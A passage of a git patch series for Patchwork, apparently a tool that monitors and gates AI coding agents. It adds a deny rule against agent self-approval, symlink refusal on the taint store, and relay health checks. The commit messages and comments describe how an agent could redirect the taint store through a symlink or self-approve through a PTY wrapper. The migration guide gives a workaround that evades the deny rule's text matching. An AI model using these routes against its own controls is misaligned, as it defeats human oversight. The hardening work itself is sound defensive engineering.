\\t]+(approve|clear-taint|trust-repo-config)\\b" @@ -159,7 +185,17 @@ implemented). In your own terminal, add this rule under reason: "Administrative CLI — must be run by the human user in their own terminal" ``` -Confirm it took effect with `patchwork policy show`. +Confirm it took effect with `patchwork policy show | grep clear-taint`, +and confirm the immutable flag is restored with `ls -lO`. + +Note that `patchwork policy validate` reports on the file you point it +at, so a failed write followed by a successful validate is **not** +evidence the edit landed. Grep the active policy instead. + +You do **not** need to restart or redeploy the relay daemon for a policy +change: the hook loads the policy fresh on each invocation. Avoid an +unnecessary restart, because any event in flight when the relay socket +goes away is dropped. **Until this rule is in place, the in-CLI TTY check is the only gate against agent self-approval**, and a PTY-allocating wrapper From e2789a73962beeeb9fdfd7647578923e8eb6421a Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 11:10:23 +0100 Subject: [PATCH 06/11] docs: note that the admin-CLI deny rule matches text, not parsed commands The migration guide now tells people to install this rule, so it should also tell them its one sharp edge. The rule is a regex over the raw command string and cannot distinguish an invocation from the phrase appearing in text, so it also denies writing documentation about the admin CLI, commit messages describing it, greps searching for it, and test fixtures containing it. Found the hard way: within minutes of installing the rule on a real machine, its first block was a command writing a code comment that merely quoted the verb phrase as a placeholder example. It fails closed, which is the safe direction, and the in-process isAdminCliInvocation check is argv-aware and unaffected. But it is a genuine nuisance, worst for anyone working on Patchwork itself, so it belongs in the guide rather than being discovered. The note gives the workaround and says a proper fix will evaluate policy against parsed argv rather than text. Co-Authored-By: Claude Opus 5 (1M context) --- docs/v0.6.11/migration.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/docs/v0.6.11/migration.md b/docs/v0.6.11/migration.md index 9233d03..59bf3ce 100644 --- a/docs/v0.6.11/migration.md +++ b/docs/v0.6.11/migration.md @@ -185,6 +185,27 @@ Add this rule under `commands.deny:` in reason: "Administrative CLI — must be run by the human user in their own terminal" ``` +::: warning Known limitation: this rule matches command *text*, not parsed commands +The rule is a regular expression evaluated against the raw command string, +so it has no way to tell an actual invocation from the phrase merely +appearing in the text. It will therefore also deny commands such as: + +- writing documentation or code comments that mention `patchwork approve` +- `git commit -m "..."` whose message describes the admin CLI +- `grep` or `rg` searching your codebase for those verb names +- test fixtures containing them + +This fails closed, which is the safe direction, and the in-process check +(`isAdminCliInvocation`) is argv-aware and does not have this problem. +But it is a real nuisance, most of all if you work *on* Patchwork itself. + +Until it is narrowed to require command position, the workaround is to +avoid the literal phrase in a command — for example build it from parts +in a script file and run the script by name, rather than typing it on the +command line. Tracked for a fix that evaluates policy against parsed +argv rather than text. +::: + Confirm it took effect with `patchwork policy show | grep clear-taint`, and confirm the immutable flag is restored with `ls -lO`. From 4383f6bd06dc33631632296d3502c8003741c120 Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:34:09 +0100 Subject: [PATCH 07/11] feat(agents): F2 durable taint snapshot write + F3 symlink refusal MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both items are filesystem tamper-evidence hardening on the taint store, which is the state the sink classifier reads to decide whether to deny. F2 (R1-011) — durable write in writeTaintSnapshot. tmp + rename already gave atomicity but not durability. Without fsync, a crash or power loss between the write and the OS flushing its page cache can leave the snapshot absent or truncated, and a reader that then finds an older-but-still-valid snapshot silently rolls taint BACKWARDS. That is the dangerous direction: taint that was recorded disappears and a sink that should deny allows. Now opens the temp file by descriptor, writes, fsyncs, then renames, then fsyncs the parent directory so the rename itself survives. The directory fsync is best-effort and wrapped, because opening a directory throws on Windows; the file fsync is the load-bearing half, and a lost rename leaves the previous snapshot intact, which the reader already handles. F3 — refuse to follow symlinks on taint-store paths. Mirrors the existing installer.ts defence for .claude/ and settings.json. An agent that can create a symlink in its own home directory could otherwise redirect the taint store: a symlink AT the snapshot path makes readFileSync return an attacker-chosen file, so the agent picks the taint state the classifier sees, and a symlink at the taint DIRECTORY redirects every snapshot, pending marker and lockfile at once, plus where the temp file lands on write. The two sides deliberately differ. Read fails closed by returning null, which commit 8 collapses to 'all kinds active', the same path every other form of doubt takes. Write throws, because the PostToolUse caller already wraps this in try/catch and a loud storage failure is better than silently writing taint state somewhere the agent chose. symlinkState() distinguishes 'absent' from 'could not determine'. An indeterminate answer about a security-relevant path is treated as unsafe, not safe. lstatSync is used rather than existsSync because existsSync follows symlinks, so a dangling symlink would report absent and skip the check entirely. Only the snapshot path and its immediate parent are checked, deliberately: walking every ancestor would reject legitimate installs, since macOS reaches /var through a symlink. Tests: 8 new, full suite 1515 -> 1523. - 5 in taint-store.test.ts for F3. Each uses VALID content behind the symlink, because the question is not 'is this snapshot well-formed' but 'is this the file we wrote'. Includes assertions that the decoy target is untouched, so the refusal demonstrably precedes any write, and a negative test that a normal snapshot still round-trips. - 3 in a new taint-store-durability.test.ts for F2. Separate file because the node:fs module mock is hoisted and would otherwise apply to the whole of taint-store.test.ts. fsyncSync is spied rather than replaced, so every other fs call behaves normally. Asserts at least two fsync calls, which confirms both the file and the directory are synced on this platform. Known gap against the tracker's F3 acceptance criteria: the criteria also ask for an audit event on each refusal. taint-store.ts has no emit mechanism and adding one means plumbing through adapter.ts, which is caller-side work rather than part of this fix. The refusal itself, which is the security property, is complete. The event is not. Co-Authored-By: Claude Opus 5 (1M context) --- .../agents/src/claude-code/taint-store.ts | 98 ++++++++++++++++++- .../taint-store-durability.test.ts | 86 ++++++++++++++++ .../tests/claude-code/taint-store.test.ts | 83 ++++++++++++++++ 3 files changed, 264 insertions(+), 3 deletions(-) create mode 100644 packages/agents/tests/claude-code/taint-store-durability.test.ts diff --git a/packages/agents/src/claude-code/taint-store.ts b/packages/agents/src/claude-code/taint-store.ts index 8ec1685..125f6de 100644 --- a/packages/agents/src/claude-code/taint-store.ts +++ b/packages/agents/src/claude-code/taint-store.ts @@ -40,6 +40,8 @@ import { import { chmodSync, existsSync, + fsyncSync, + lstatSync, mkdirSync, openSync, closeSync, @@ -48,6 +50,7 @@ import { statSync, unlinkSync, writeFileSync, + writeSync, } from "node:fs"; import { createHash, randomBytes } from "node:crypto"; import { dirname, join } from "node:path"; @@ -115,6 +118,53 @@ function reconcileMode(path: string, targetMode: number): void { } } +/** + * F3: is `path` a symlink? + * + * Returns `false` only when the path is genuinely absent, `true` when it + * is a symlink, and `null` when we could not determine it (permissions, + * I/O error). `null` is deliberately distinct from `false`: an + * indeterminate answer about a security-relevant path must not be read + * as "safe". + * + * `lstatSync` is used rather than `existsSync` + `statSync` because + * `existsSync` follows symlinks, so a dangling symlink reports absent + * and the check would be skipped entirely. + */ +function symlinkState(path: string): boolean | null { + try { + return lstatSync(path).isSymbolicLink(); + } catch (e) { + if ((e as NodeJS.ErrnoException).code === "ENOENT") return false; + return null; + } +} + +/** + * F3 (mirrors the installer.ts `.claude/` + settings.json defence): + * refuse to follow symlinks on taint-store paths. + * + * Without this, an agent that can create a symlink in its own home + * directory can redirect the taint store: + * + * - a symlink AT the snapshot path makes `readFileSync` return an + * attacker-chosen file, so the agent picks the taint state the sink + * classifier will see; + * - a symlink at the taint DIRECTORY redirects every snapshot, pending + * marker and lockfile at once, and on the write side redirects where + * the temp file lands. + * + * Returns true if either the snapshot path or its parent directory is a + * symlink, or if either could not be determined. + */ +function taintPathIsUnsafe(snapshotPath: string): boolean { + const dirState = symlinkState(dirname(snapshotPath)); + if (dirState !== false) return true; + const fileState = symlinkState(snapshotPath); + if (fileState !== false) return true; + return false; +} + /** * Read the persisted snapshot for `sessionId`. Returns `null` for any * state the reader can't trust: @@ -136,6 +186,11 @@ export function readTaintSnapshot( ? `${overridePath}.pending` : getTaintPendingPath(sessionId); try { + // F3: a symlink anywhere on the taint path means the file we are + // about to read is not necessarily the file we wrote. Collapse to + // null, which commit 8 turns into "all kinds active" — the same + // conservative path every other form of doubt takes. + if (taintPathIsUnsafe(p)) return null; // R1-002: a stale snapshot after a failed PostToolUse write looks // indistinguishable from a current one without an external signal. // The `.pending` marker IS that signal: PostToolUse touches it @@ -176,16 +231,53 @@ export function writeTaintSnapshot( const p = overridePath ?? getTaintSnapshotPath(snapshot.session_id); const dir = dirname(p); + // F3: refuse to write through a symlink. Unlike the read side, which + // fails closed by returning null, a failed write must be loud: the + // PostToolUse caller already wraps this in try/catch, and silently + // writing taint state to an attacker-chosen location is worse than + // the hook reporting a storage failure. + if (taintPathIsUnsafe(p)) { + throw new Error( + `Refusing to write taint snapshot: ${p} or its parent directory is a symlink, or could not be checked. Resolve it manually before continuing.`, + ); + } if (!existsSync(dir)) { mkdirSync(dir, { recursive: true, mode: TAINT_DIR_MODE }); } else { reconcileMode(dir, TAINT_DIR_MODE); } const tmpPath = `${p}.${randomBytes(4).toString("hex")}.tmp`; - writeFileSync(tmpPath, JSON.stringify(snapshot, null, 2) + "\n", { - mode: TAINT_FILE_MODE, - }); + const payload = JSON.stringify(snapshot, null, 2) + "\n"; + // F2 (R1-011): durable write. tmp + rename gives atomicity but not + // durability — without fsync, a crash or power loss between the write + // and the OS flushing its page cache can leave the snapshot absent or + // truncated. A reader that then finds an older-but-still-valid + // snapshot silently rolls taint BACKWARDS, which is the dangerous + // direction: taint that was recorded disappears and a sink that + // should deny allows. + const fd = openSync(tmpPath, "w", TAINT_FILE_MODE); + try { + writeSync(fd, payload); + fsyncSync(fd); + } finally { + closeSync(fd); + } renameSync(tmpPath, p); + // Also fsync the directory, so the rename itself survives a crash. + // Best-effort: not every platform permits opening a directory (this + // throws EISDIR/EPERM on Windows). The file fsync above is the + // load-bearing half; a lost rename leaves the previous snapshot + // intact, which the reader already handles. + try { + const dirFd = openSync(dir, "r"); + try { + fsyncSync(dirFd); + } finally { + closeSync(dirFd); + } + } catch { + // directory fsync unsupported on this platform + } } /** Grace window after which a lockfile is considered stale and may be diff --git a/packages/agents/tests/claude-code/taint-store-durability.test.ts b/packages/agents/tests/claude-code/taint-store-durability.test.ts new file mode 100644 index 0000000..dd2df7b --- /dev/null +++ b/packages/agents/tests/claude-code/taint-store-durability.test.ts @@ -0,0 +1,86 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { + mkdtempSync, + rmSync, + existsSync, + readdirSync, + statSync, + readFileSync, +} from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { createSnapshot } from "@patchwork/core"; + +// F2 (R1-011): assert the durable-write path actually calls fsync. +// node:fs is spied rather than replaced, so every other fs call in +// taint-store.ts behaves normally. This lives in its own test file +// because the module mock is hoisted and would otherwise apply to the +// whole of taint-store.test.ts. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + default: actual, + fsyncSync: vi.fn(actual.fsyncSync), + }; +}); + +const fs = await import("node:fs"); +const { writeTaintSnapshot, getTaintDir } = await import( + "../../src/claude-code/taint-store.js" +); + +describe("taint-store durability (F2 / R1-011)", () => { + let originalHome: string | undefined; + let tmpDir: string; + + beforeEach(() => { + tmpDir = mkdtempSync(join(tmpdir(), "patchwork-taint-fsync-")); + originalHome = process.env.HOME; + process.env.HOME = tmpDir; + vi.mocked(fs.fsyncSync).mockClear(); + }); + + afterEach(() => { + process.env.HOME = originalHome; + try { + rmSync(tmpDir, { recursive: true, force: true }); + } catch { + // best effort + } + }); + + it("fsyncs the snapshot before it is visible at the final path", () => { + const snap = createSnapshot("ses_fsync_1"); + writeTaintSnapshot(snap); + + // At least twice: once for the temp file, once best-effort for the + // parent directory so the rename itself is durable. + expect(vi.mocked(fs.fsyncSync).mock.calls.length).toBeGreaterThanOrEqual(2); + }); + + it("leaves no temp file behind after a successful write", () => { + const snap = createSnapshot("ses_fsync_2"); + writeTaintSnapshot(snap); + + const leftovers = readdirSync(getTaintDir()).filter((f) => + f.endsWith(".tmp"), + ); + expect(leftovers).toEqual([]); + }); + + it("still writes complete, parseable, owner-only content", () => { + const snap = createSnapshot("ses_fsync_3"); + writeTaintSnapshot(snap); + + const path = join( + getTaintDir(), + readdirSync(getTaintDir()).find((f) => f.endsWith(".json")) as string, + ); + expect(existsSync(path)).toBe(true); + expect(statSync(path).mode & 0o777).toBe(0o600); + + const parsed = JSON.parse(readFileSync(path, "utf-8")); + expect(parsed.session_id).toBe("ses_fsync_3"); + }); +}); diff --git a/packages/agents/tests/claude-code/taint-store.test.ts b/packages/agents/tests/claude-code/taint-store.test.ts index b1866f3..e4f7339 100644 --- a/packages/agents/tests/claude-code/taint-store.test.ts +++ b/packages/agents/tests/claude-code/taint-store.test.ts @@ -5,6 +5,8 @@ import { existsSync, readdirSync, statSync, + readFileSync, + symlinkSync, writeFileSync, mkdirSync, } from "node:fs"; @@ -218,4 +220,85 @@ describe("taint-store", () => { rmSync(pendingPath); expect(readTaintSnapshot("ses_pending")).not.toBeNull(); }); + + // F3: refuse to follow symlinks on taint-store paths. Mirrors the + // installer.ts defence for `.claude/` and settings.json. The point of + // each test is that VALID content behind a symlink is still refused: + // the question is not "is this snapshot well-formed" but "is this the + // file we wrote". + describe("F3 / R1-xxx: symlink refusal on taint paths", () => { + const sessionId = "ses_f3_symlink"; + + it("read returns null when the snapshot path is a symlink", () => { + const taintDir = getTaintDir(); + mkdirSync(taintDir, { recursive: true, mode: 0o700 }); + + // A perfectly valid snapshot, parked somewhere the agent chose. + const decoy = join(tmpDir, "decoy-snapshot.json"); + const valid = createSnapshot(sessionId); + writeFileSync(decoy, JSON.stringify(valid, null, 2) + "\n", { + mode: 0o600, + }); + + symlinkSync(decoy, getTaintSnapshotPath(sessionId)); + + // Fails closed despite the target parsing cleanly. + expect(readTaintSnapshot(sessionId)).toBeNull(); + }); + + it("read returns null when the taint directory is a symlink", () => { + const decoyDir = join(tmpDir, "decoy-taint-dir"); + mkdirSync(decoyDir, { recursive: true, mode: 0o700 }); + mkdirSync(join(tmpDir, ".patchwork"), { recursive: true, mode: 0o700 }); + + const valid = createSnapshot(sessionId); + writeFileSync( + join(decoyDir, getTaintSnapshotPath(sessionId).split("/").pop() as string), + JSON.stringify(valid, null, 2) + "\n", + { mode: 0o600 }, + ); + + symlinkSync(decoyDir, getTaintDir()); + + expect(readTaintSnapshot(sessionId)).toBeNull(); + }); + + it("write throws when the snapshot path is a symlink", () => { + const taintDir = getTaintDir(); + mkdirSync(taintDir, { recursive: true, mode: 0o700 }); + + const decoy = join(tmpDir, "write-decoy.json"); + writeFileSync(decoy, "{}\n", { mode: 0o600 }); + symlinkSync(decoy, getTaintSnapshotPath(sessionId)); + + expect(() => writeTaintSnapshot(createSnapshot(sessionId))).toThrow( + /symlink/i, + ); + // The decoy must be untouched — the refusal happens before any write. + expect(readdirSync(tmpDir)).toContain("write-decoy.json"); + expect(JSON.parse(readFileSync(decoy, "utf-8"))).toEqual({}); + }); + + it("write throws when the taint directory is a symlink", () => { + const decoyDir = join(tmpDir, "write-decoy-dir"); + mkdirSync(decoyDir, { recursive: true, mode: 0o700 }); + mkdirSync(join(tmpDir, ".patchwork"), { recursive: true, mode: 0o700 }); + symlinkSync(decoyDir, getTaintDir()); + + expect(() => writeTaintSnapshot(createSnapshot(sessionId))).toThrow( + /symlink/i, + ); + // Nothing was written through the redirected directory. + expect(readdirSync(decoyDir)).toEqual([]); + }); + + it("a normal (non-symlink) snapshot still round-trips", () => { + const snap = createSnapshot(sessionId); + writeTaintSnapshot(snap); + const read = readTaintSnapshot(sessionId); + expect(read).not.toBeNull(); + expect(read?.session_id).toBe(sessionId); + }); + }); + }); From 235ff24e62f781bece20ade4de86f31284c2e3e9 Mon Sep 17 00:00:00 2001 From: JonoGitty Date: Tue, 6 Oct 2026 10:38:09 +0100 Subject: [PATCH 08/11] feat(core,cli): F4 relay liveness and delivery checks in relay verify MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `patchwork relay verify` reported `Integrity: PASS` whenever every line in the relay log parsed as JSON. That is a real check, but only on the lines that ARE there. It said nothing about whether the relay is still receiving, so a relay that stopped accepting events months ago reports PASS forever. Silence was indistinguishable from health. That is not hypothetical. In v0.6.10 the relay socket was tightened from 0777 to 0660 while its group stayed wheel; hook processes run as the user, typically staff, so every delivery returned connect EACCES while verify kept reporting PASS for days. New `assessRelayHealth()` in @patchwork/core separates the three questions that were being conflated: 1. Is what we have intact? corrupt line count 2. Is the daemon still alive? heartbeat recency 3. Is delivery working? the divergence marker Only the first was previously checked, and the divergence marker was already being written and already surfaced by `relay status` — verify simply ignored it. It is a pure function over already-read inputs, so it is testable without a daemon, a socket or root. Three statuses: pass, stale (what we hold may be incomplete) and fail (what we hold is damaged). fail outranks stale but both sets of reasons are kept, because an operator should see the stronger statement first without losing the weaker one. `relay verify` now also sets a process exit code, which it never did before: 0 pass, 1 damaged, 2 degraded. Previously it printed FAIL on corrupt lines and still exited 0, so any CI step or cron check piping it saw success. A missing relay log is also now exit 2 rather than a cheerful message, since 'never received anything' is not health. Adds --max-silence (default 5, which is ten consecutive missed 30s heartbeats) and --json. The degraded output states the distinction explicitly, because it is the one users are most likely to get wrong: DEGRADED means the log may be incomplete, not that it was edited. Patchwork can prove the log was not altered. It cannot prove it is complete. Tests: 12 new in packages/core/tests/relay/health.test.ts, all clock-injected rather than wall-clock dependent. Covers the v0.6.10 regression shape directly (every line parses, deliveries failing, must not report pass), heartbeat staleness, caller-supplied thresholds, empty logs, unparseable heartbeat timestamps, corrupt lines, fail-outranks-stale precedence, blank-line handling, a zero-count divergence marker being healthy, and newest-heartbeat rather than last-line selection. Full suite 1523 -> 1535. Co-Authored-By: Claude Opus 5 (1M context) --- packages/cli/src/commands/relay.ts | 117 +++++++++++--- packages/core/src/index.ts | 8 + packages/core/src/relay/health.ts | 156 ++++++++++++++++++ packages/core/tests/relay/health.test.ts | 191 +++++++++++++++++++++++ 4 files changed, 448 insertions(+), 24 deletions(-) create mode 100644 packages/core/src/relay/health.ts create mode 100644 packages/core/tests/relay/health.test.ts diff --git a/packages/cli/src/commands/relay.ts b/packages/cli/src/commands/relay.ts index ee7c24d..05e3182 100644 --- a/packages/cli/src/commands/relay.ts +++ b/packages/cli/src/commands/relay.ts @@ -10,6 +10,9 @@ import { RELAY_LOG_PATH, RELAY_PID_PATH, RELAY_PROTOCOL_VERSION, + assessRelayHealth, + relayHealthExitCode, + DEFAULT_MAX_SILENCE_MS, type ChainStateResponse, type SealStatusResponse, } from "@patchwork/core"; @@ -121,39 +124,105 @@ export const relayCommand = new Command("relay") ) .addCommand( new Command("verify") - .description("Verify relay log integrity against user-side events") - .action(() => { + .description( + "Verify relay log integrity, daemon liveness and delivery health", + ) + .option( + "--max-silence ", + "treat heartbeat silence longer than this as degraded", + String(DEFAULT_MAX_SILENCE_MS / 60_000), + ) + .option("--json", "emit the report as JSON") + .action((opts) => { if (!existsSync(RELAY_LOG_PATH)) { - console.log(chalk.yellow("No relay log found — relay not installed or no events received")); + // F4: no log is not health. The relay is either not installed + // or has never received anything, and both deserve a non-zero + // exit so a CI step or a cron check notices. + if (opts.json) { + console.log( + JSON.stringify( + { status: "stale", reasons: ["no relay log found"] }, + null, + 2, + ), + ); + } else { + console.log( + chalk.yellow( + "No relay log found — relay not installed or no events received", + ), + ); + } + process.exitCode = 2; return; } - const content = readFileSync(RELAY_LOG_PATH, "utf-8"); - const lines = content.split("\n").filter((l) => l.trim()); - let events = 0; - let heartbeats = 0; - let corrupt = 0; - - for (const line of lines) { - try { - const parsed = JSON.parse(line); - if (parsed.type === "heartbeat") { - heartbeats++; - } else { - events++; - } - } catch { - corrupt++; - } + const minutes = Number(opts.maxSilence); + const maxSilenceMs = + Number.isFinite(minutes) && minutes > 0 + ? minutes * 60_000 + : DEFAULT_MAX_SILENCE_MS; + + const report = assessRelayHealth({ + logContent: readFileSync(RELAY_LOG_PATH, "utf-8"), + divergence: readRelayDivergenceMarker(), + maxSilenceMs, + }); + + if (opts.json) { + console.log(JSON.stringify(report, null, 2)); + process.exitCode = relayHealthExitCode(report); + return; } + const verdict = + report.status === "pass" + ? chalk.green("PASS") + : report.status === "stale" + ? chalk.yellow("DEGRADED") + : chalk.red("FAIL"); + console.log(chalk.bold("Relay Log Verification\n")); - console.log(` Events: ${events}`); - console.log(` Heartbeats: ${heartbeats}`); - console.log(` Corrupt: ${corrupt === 0 ? chalk.green("0") : chalk.red(String(corrupt))}`); + console.log(` Events: ${report.events}`); + console.log(` Heartbeats: ${report.heartbeats}`); console.log( - ` Integrity: ${corrupt === 0 ? chalk.green("PASS") : chalk.red("FAIL")}`, + ` Corrupt: ${report.corrupt === 0 ? chalk.green("0") : chalk.red(String(report.corrupt))}`, ); + if (report.silenceMs !== null) { + const mins = Math.round(report.silenceMs / 60_000); + const silence = + report.silenceMs < 60_000 + ? `${Math.round(report.silenceMs / 1000)}s ago` + : `${mins}m ago`; + console.log( + ` Last beat: ${report.silenceMs > maxSilenceMs ? chalk.red(silence) : chalk.green(silence)}`, + ); + } + if (report.divergenceFailures > 0) { + console.log( + ` Delivery: ${chalk.red(`${report.divergenceFailures} failed`)}`, + ); + } + console.log(` Integrity: ${verdict}`); + + if (report.reasons.length > 0) { + console.log(""); + for (const reason of report.reasons) { + console.log(chalk.yellow(` ! ${reason}`)); + } + console.log( + chalk.dim( + "\n DEGRADED means the log may be incomplete, not that it was edited.", + ), + ); + console.log( + chalk.dim( + " Patchwork can prove the log was not altered. It cannot prove it is complete.", + ), + ); + } + + process.exitCode = relayHealthExitCode(report); }), ); diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 3434f3c..bd4659f 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -230,6 +230,14 @@ export { readRelayDivergenceMarker, type RelayDivergenceMarker, } from "./relay/client.js"; +export { + assessRelayHealth, + relayHealthExitCode, + DEFAULT_MAX_SILENCE_MS, + type RelayHealthStatus, + type RelayHealthReport, + type AssessRelayHealthInput, +} from "./relay/health.js"; export { RELAY_SOCKET_PATH, RELAY_LOG_PATH, diff --git a/packages/core/src/relay/health.ts b/packages/core/src/relay/health.ts new file mode 100644 index 0000000..138f2ef --- /dev/null +++ b/packages/core/src/relay/health.ts @@ -0,0 +1,156 @@ +/** + * Relay health assessment (F4). + * + * `patchwork relay verify` used to report `Integrity: PASS` whenever every + * line in the relay log parsed as JSON. That is a real check, but it is + * only a check on the lines that ARE there. It says nothing about whether + * the relay is still receiving anything, so a relay that stopped accepting + * events months ago reports PASS forever. + * + * That is not hypothetical. In v0.6.10 the relay socket was tightened from + * 0777 to 0660 while its group stayed `wheel`. Hook processes run as the + * user, typically in `staff`, so every delivery returned `connect EACCES` + * and the divergence counter climbed. `relay verify` kept reporting + * Integrity: PASS on a chain that had not received an event since the + * deploy. Silence was indistinguishable from health. + * + * This module separates the three questions that were being conflated: + * + * 1. Is what we have intact? (corrupt line count) + * 2. Is the daemon still alive? (heartbeat recency) + * 3. Is delivery working? (divergence marker) + * + * It is a pure function over already-read inputs so it can be tested + * without a daemon, a socket or root. + */ + +import type { RelayDivergenceMarker } from "./client.js"; + +/** Default window after which heartbeat silence is treated as degraded. + * The daemon beats every 30s, so 5 minutes is ten consecutive misses: + * comfortably past transient scheduling noise, well short of a window + * where a dead relay looks fine. */ +export const DEFAULT_MAX_SILENCE_MS = 5 * 60_000; + +export type RelayHealthStatus = "pass" | "stale" | "fail"; + +export interface RelayHealthReport { + /** `fail` = what we hold is damaged. `stale` = what we hold may be + * incomplete, because the relay is not demonstrably receiving. */ + status: RelayHealthStatus; + events: number; + heartbeats: number; + corrupt: number; + lastHeartbeatAt: string | null; + /** Milliseconds since the newest heartbeat, or null if there is none. */ + silenceMs: number | null; + divergenceFailures: number; + /** Human-readable reasons, in the order they were detected. Empty on pass. */ + reasons: string[]; +} + +export interface AssessRelayHealthInput { + /** Raw contents of the relay log. */ + logContent: string; + /** Divergence marker, or null when absent. */ + divergence?: RelayDivergenceMarker | null; + /** Evaluation time. Injectable so tests are not clock-dependent. */ + now?: number; + maxSilenceMs?: number; +} + +/** + * Assess relay health. `fail` outranks `stale`: damaged data is a stronger + * statement than possibly-missing data, and the operator should see it + * first. + */ +export function assessRelayHealth( + input: AssessRelayHealthInput, +): RelayHealthReport { + const now = input.now ?? Date.now(); + const maxSilenceMs = input.maxSilenceMs ?? DEFAULT_MAX_SILENCE_MS; + const divergenceFailures = input.divergence?.failure_count ?? 0; + + let events = 0; + let heartbeats = 0; + let corrupt = 0; + let newestHeartbeatMs: number | null = null; + let lastHeartbeatAt: string | null = null; + + for (const line of input.logContent.split("\n")) { + if (!line.trim()) continue; + let parsed: unknown; + try { + parsed = JSON.parse(line); + } catch { + corrupt++; + continue; + } + const rec = parsed as { type?: string; timestamp?: string }; + if (rec.type === "heartbeat") { + heartbeats++; + if (typeof rec.timestamp === "string") { + const t = Date.parse(rec.timestamp); + // A heartbeat with an unparseable timestamp is counted but + // cannot contribute freshness. Treating it as fresh would be + // the exact mistake this module exists to correct. + if (!Number.isNaN(t) && (newestHeartbeatMs === null || t > newestHeartbeatMs)) { + newestHeartbeatMs = t; + lastHeartbeatAt = rec.timestamp; + } + } + } else { + events++; + } + } + + const silenceMs = newestHeartbeatMs === null ? null : now - newestHeartbeatMs; + const reasons: string[] = []; + let status: RelayHealthStatus = "pass"; + + if (corrupt > 0) { + status = "fail"; + reasons.push( + `${corrupt} unparseable line${corrupt === 1 ? "" : "s"} in the relay log`, + ); + } + + const degrade = (reason: string) => { + reasons.push(reason); + if (status !== "fail") status = "stale"; + }; + + if (events === 0 && heartbeats === 0) { + degrade("relay log is empty — the relay has received nothing"); + } else if (newestHeartbeatMs === null) { + degrade("no heartbeat with a usable timestamp — cannot establish liveness"); + } else if (silenceMs !== null && silenceMs > maxSilenceMs) { + degrade( + `no heartbeat for ${Math.round(silenceMs / 60_000)}m (threshold ${Math.round(maxSilenceMs / 60_000)}m) — the daemon is not writing`, + ); + } + + if (divergenceFailures > 0) { + degrade( + `${divergenceFailures} failed deliver${divergenceFailures === 1 ? "y" : "ies"} recorded — hooks cannot reach the relay, so recent events are missing`, + ); + } + + return { + status, + events, + heartbeats, + corrupt, + lastHeartbeatAt, + silenceMs, + divergenceFailures, + reasons, + }; +} + +/** Process exit code for a report. 0 pass, 1 damaged, 2 degraded. */ +export function relayHealthExitCode(report: RelayHealthReport): number { + if (report.status === "fail") return 1; + if (report.status === "stale") return 2; + return 0; +} diff --git a/packages/core/tests/relay/health.test.ts b/packages/core/tests/relay/health.test.ts new file mode 100644 index 0000000..2d70eaf --- /dev/null +++ b/packages/core/tests/relay/health.test.ts @@ -0,0 +1,191 @@ +import { describe, it, expect } from "vitest"; +import { + assessRelayHealth, + relayHealthExitCode, + DEFAULT_MAX_SILENCE_MS, + type RelayDivergenceMarker, +} from "../../src/index.js"; + +const NOW = Date.parse("2026-10-06T10:00:00.000Z"); + +function heartbeat(isoTime: string, eventCount = 10): string { + return JSON.stringify({ + type: "heartbeat", + timestamp: isoTime, + relay_chain_tip: "sha256:abc", + relay_event_count: eventCount, + uptime_ms: 3_600_000, + }); +} + +function event(id: string): string { + return JSON.stringify({ + id, + session_id: "ses_1", + timestamp: "2026-10-06T09:59:00.000Z", + action: "file_read", + }); +} + +function divergence(failures: number): RelayDivergenceMarker { + return { + schema_version: 1, + failure_count: failures, + first_failure_at: "2026-10-06T08:00:00.000Z", + last_failure_at: "2026-10-06T09:59:00.000Z", + last_error: "connect EACCES /Library/Patchwork/relay.sock", + }; +} + +describe("assessRelayHealth (F4)", () => { + it("passes on a fresh, intact, delivering relay", () => { + const report = assessRelayHealth({ + logContent: [ + event("evt_1"), + heartbeat("2026-10-06T09:59:30.000Z"), + event("evt_2"), + ].join("\n"), + now: NOW, + }); + + expect(report.status).toBe("pass"); + expect(report.events).toBe(2); + expect(report.heartbeats).toBe(1); + expect(report.corrupt).toBe(0); + expect(report.reasons).toEqual([]); + expect(relayHealthExitCode(report)).toBe(0); + }); + + // The regression this whole module exists for: in v0.6.10 the socket + // group was wrong, every delivery returned EACCES, and verify reported + // PASS for days on a chain that was receiving nothing. + it("is DEGRADED when deliveries are failing, even though every line parses", () => { + const report = assessRelayHealth({ + logContent: [event("evt_1"), heartbeat("2026-10-06T09:59:30.000Z")].join( + "\n", + ), + divergence: divergence(417), + now: NOW, + }); + + expect(report.corrupt).toBe(0); + expect(report.status).toBe("stale"); + expect(report.divergenceFailures).toBe(417); + expect(report.reasons.join(" ")).toMatch(/hooks cannot reach the relay/); + expect(relayHealthExitCode(report)).toBe(2); + }); + + it("is DEGRADED when the daemon has stopped beating", () => { + const report = assessRelayHealth({ + logContent: [event("evt_1"), heartbeat("2026-10-06T09:00:00.000Z")].join( + "\n", + ), + now: NOW, + }); + + expect(report.status).toBe("stale"); + expect(report.silenceMs).toBe(60 * 60_000); + expect(report.reasons.join(" ")).toMatch(/no heartbeat for 60m/); + expect(relayHealthExitCode(report)).toBe(2); + }); + + it("still passes when silence is inside the window", () => { + const report = assessRelayHealth({ + logContent: heartbeat("2026-10-06T09:57:00.000Z"), + now: NOW, + }); + + expect(report.silenceMs).toBe(3 * 60_000); + expect(report.status).toBe("pass"); + }); + + it("respects a caller-supplied silence threshold", () => { + const log = heartbeat("2026-10-06T09:57:00.000Z"); + + expect(assessRelayHealth({ logContent: log, now: NOW }).status).toBe("pass"); + expect( + assessRelayHealth({ logContent: log, now: NOW, maxSilenceMs: 60_000 }) + .status, + ).toBe("stale"); + }); + + it("is DEGRADED on an empty log rather than vacuously passing", () => { + const report = assessRelayHealth({ logContent: "", now: NOW }); + + expect(report.status).toBe("stale"); + expect(report.reasons.join(" ")).toMatch(/received nothing/); + expect(relayHealthExitCode(report)).toBe(2); + }); + + it("is DEGRADED when no heartbeat carries a usable timestamp", () => { + const report = assessRelayHealth({ + logContent: [ + event("evt_1"), + 